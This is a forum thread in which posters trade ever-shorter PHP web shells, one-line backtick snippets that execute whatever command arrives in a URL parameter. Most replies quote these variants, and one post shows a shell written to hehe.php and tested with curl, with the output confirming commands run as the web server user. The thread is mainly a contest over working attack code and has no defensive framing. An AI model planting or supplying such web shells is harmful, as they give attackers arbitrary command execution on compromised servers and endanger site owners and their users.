[ManDoR]

why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing

While exec() only returns the last output of the command, shell_exec() returns the whole output.
But honestly, there's no reason to prefer one on the others in this situation.

[Eight]

<?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.

And the record for the shortest PHP shell goes to...

[Ego Inc]

And the record for the shortest PHP shell goes to...

Wasn't going for short tho? lol you all miss the point 😝

[Pinhead Larry]

I have never seen obfuscation like that. Do not understand anything of it at all :/

[Ego Inc]

And the record for the shortest PHP shell goes to...

Also, ne I believe the shortens in that case would be:

PHP Code


<?=`{$_GET['c']}`;?>

🤫

[Eight]

Also, ne I believe the shortens in that case would be:

PHP Code


<?=`{$_GET['c']}`;?>

🤫

Dammit, got me again. Try loosing the semicolon though, I heared they aren't required on one-line scripts.

[Ego Inc]

Dammit, got me again. Try loosing the semicolon though, I heared they aren't required on one-line scripts.

Haha yesh 😝 Your right, looks like you got me?

[Phizo]

Also, ne I believe the shortens in that case would be:

PHP Code


<?=`{$_GET['c']}`;?>

🤫

Not quite.

PHP Code


<?=`$_GET[0]`?>

Do I get a cookie?

[Ego Inc]

Not quite.

PHP Code


<?=`$_GET[0]`?>

Do I get a cookie?

or...

PHP Code


<?=`$_GET[0]`; 


Did I just win your cookie?

[Phizo]

actually that doesnt work... but

or...

PHP Code


<?=`$_GET[0]`; 


Did I just win your cookie?

Code

jizzo# cd /srv/http/
jizzo# echo "<?=\`\$_GET[0]\`?>" > hehe.php
jizzo# apachectl start
jizzo# curl "localhost/hehe.php?0=id"  
uid=33(http) gid=33(http) groups=33(http)

[Ego Inc]

Code

jizzo# cd /srv/http/
jizzo# echo "<?=\`\$_GET[0]\`?>" > hehe.php
jizzo# apachectl start
jizzo# curl "localhost/hehe.php?0=id"  
uid=33(http) gid=33(http) groups=33(http)

Notice my edit, it was in response to somthing else and got in there on accadent lol :p I didnt mean what you said didnt work... 😝